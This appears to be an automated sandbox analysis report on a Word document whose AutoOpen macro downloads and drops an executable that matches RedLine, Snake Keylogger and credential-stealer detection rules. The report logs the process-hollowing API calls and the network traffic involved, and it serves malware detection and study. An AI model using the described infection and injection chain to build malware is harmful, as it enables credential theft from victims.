Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53643 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53795 version: TLS 1.2

Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 12.2.Aiymwhpj.PIF.211f67a8.7.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.brightness.exe.215f2418.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.brightness.exe.21659f78.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 12.2.Aiymwhpj.PIF.212333d8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.1.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.1.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.Aiymwhpj.PIF.211f67a8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000013.00000001.2327344722.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000013.00000002.3731782871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000001.2248691179.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000F.00000002.3731678723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000001.2128731771.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ITT # KRPBV2663 .doc	Stream path 'Macros/VBA/ThisDocument' : found possibly 'ADODB.Stream' functions open, savetofile, write
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'ADODB.Stream' functions open, savetofile, write			Name: AutoOpen

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: ITT # KRPBV2663 .doc	Stream path 'Macros/VBA/ThisDocument' : found possibly 'XMLHttpRequest' functions response, responsebody, open, send
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'XMLHttpRequest' functions response, responsebody, open, send			Name: AutoOpen

Office process drops PE file

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to dropped file

Office process queries suspicious COM object (likely to drop second stage)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\InProcServer32			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\InprocServer32			Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C824C NtReadVirtualMemory,	7_2_027C824C
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C84BC NtUnmapViewOfSection,	7_2_027C84BC
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	7_2_027C8BA8
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C79AC NtAllocateVirtualMemory,	7_2_027C79AC
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CDE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	7_2_027CDE78
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CDF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	7_2_027CDF00
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CDFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	7_2_027CDFE4
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C7CF8 NtWriteVirtualMemory,	7_2_027C7CF8
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	7_2_027C8BA6
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027C79AA NtAllocateVirtualMemory,	7_2_027C79AA
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027CDE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	7_2_027CDE24
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C824C NtReadVirtualMemory,	12_2_028C824C
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C84BC NtUnmapViewOfSection,	12_2_028C84BC
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	12_2_028C8BA8
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C79AC NtAllocateVirtualMemory,	12_2_028C79AC
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028CDE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	12_2_028CDE78
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028CDFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	12_2_028CDFE4
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028CDF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	12_2_028CDF00
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C7CF8 NtWriteVirtualMemory,	12_2_028C7CF8
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	12_2_028C8BA6
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028C79AA NtAllocateVirtualMemory,	12_2_028C79AA
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028CDE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	12_2_028CDE24

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027CF0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

7_2_027CF0A8

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 7_2_027B20C4	7_2_027B20C4
